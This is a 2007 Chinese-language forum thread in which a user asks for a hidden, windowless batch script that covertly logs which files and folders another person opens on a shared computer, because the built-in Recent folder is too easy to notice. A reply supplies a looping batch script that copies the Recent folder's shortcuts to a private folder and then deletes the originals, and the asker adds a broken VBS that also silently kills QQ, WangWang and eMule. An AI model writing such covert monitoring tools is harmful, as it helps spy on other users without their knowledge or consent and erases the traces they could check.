Board logo

标题: 批处理记录日常操作怎么做??? [打印本页]

作者: xiaohacker     时间: 2007-12-23 20:16    标题: 批处理记录日常操作怎么做???

谁能帮我写这样的一个批处理啊?

(1)当打开该批处理后,就开始记录用户使用电脑的操作记录,将用户打开的

那些文件和文件夹以快捷方式的形式保存到某一指定的文件夹里面(我知道电脑

系统自己会将用户的操作记录保存到C:\Documents and

Settings\Administrator\Recent

目录下面,但这个容易被稍有电脑常识的人识破)。

(2)运行这个批处理时,这个批处理应该是在后台运行的,即没有窗口,也没

有最小化到任务栏里面。
作者: xiaohacker     时间: 2007-12-23 20:18    标题: 不好意思

不好意思,我发表了新话题之后,刷新了三次,搞得弄了三个话题都是重复的,实在是抱歉!!!:(
作者: mayu2004     时间: 2007-12-23 20:32
有个 思路  不知道  怎么 杨

用 vbs  启动 批 的话   大概能 达到 后台的效果   不过 进程 管理器 有个 cmd  进程

可以 用  命令
copy C:\Documents and

Settings\Administrator\Recent


里的内容   然后清空   用 延迟 命令  控制   copy 速度

然后 一直 循环


--------------  有点 乱
作者: mayu2004     时间: 2007-12-23 20:42
呵呵  我 写 了 个

有点 简陋 可以 自己 修改
-----------------------------
@echo off
:a
copy C:\"Documents and Settings\Administrator"\Recent\*.* d:\记录\
del /f /q C:\"Documents and Settings\Administrator"\Recent\*.*
ping 127.255.255.255 -n 1 -w 5000 >nul
goto a
-------------------------------------------------

5000  就是 5秒  循环一次


希望 是你要的 效果  QQ 236189165

用  vbs  运行  就可以 达到  后台的效果

[ Last edited by mayu2004 on 2007-12-23 at 08:43 PM ]
作者: xiaohacker     时间: 2007-12-23 21:05    标题: 谢谢

谢谢楼上兄弟的答复,我开始也是这么想的,但最后觉得这样做是否有点太浪费系统的内存了?不过明天给你加分吧,今天我加的分超过我的限制了!
作者: xiaohacker     时间: 2007-12-23 21:42    标题: 帮忙改改啊!!!

本人是个超级菜鸟啊,我写了个下面的VBS文件,却老是不能运行,谁帮忙看看

啊!!

dim path_1="I:\Documents and Settings\Administrator\Recent"

dim path_2="D:\记录"

dim processNames,processName

processNames=Array("WangWang.exe","QQ.exe","eMule.exe")  '禁止运行旺旺,QQ,电骡,迅雷,飞信

set FSO=wscript.createObject("scripting.FileSystemObject")

set f_1=FSO.getFile(path_1)

do

call copy()

wscript.sleep 2500

call killProcess()

wscript.sleep 2500

loop

sub copy()           '复制文件的函数

f_1.copy(path_2)                '将path_1文件夹中的文件复制到path_2文件夹中

end sub

sub killProcess()    '禁止运行制定进程的函数

on Error resume next

Set objWMIService=GetObject("winmgmts:{impersonationLevel=Impersonate}!root\cimv2")

for each ProcessName in ProcessNames   

Set colProcessList=objWMIService.execquery(" Select * From win32_process where name = '" & ProcessName & "' ")

For Each objProcess in colProcessList

objProcess.terminate()

wscript.sleep 3000

end sub
作者: mayu2004     时间: 2007-12-24 08:33
不懂 vbs  不过  用  批处理 的话  延迟 高 一些  的话   

因该 没 问题

我机器 测试过

能 控制在 5m 以下的内存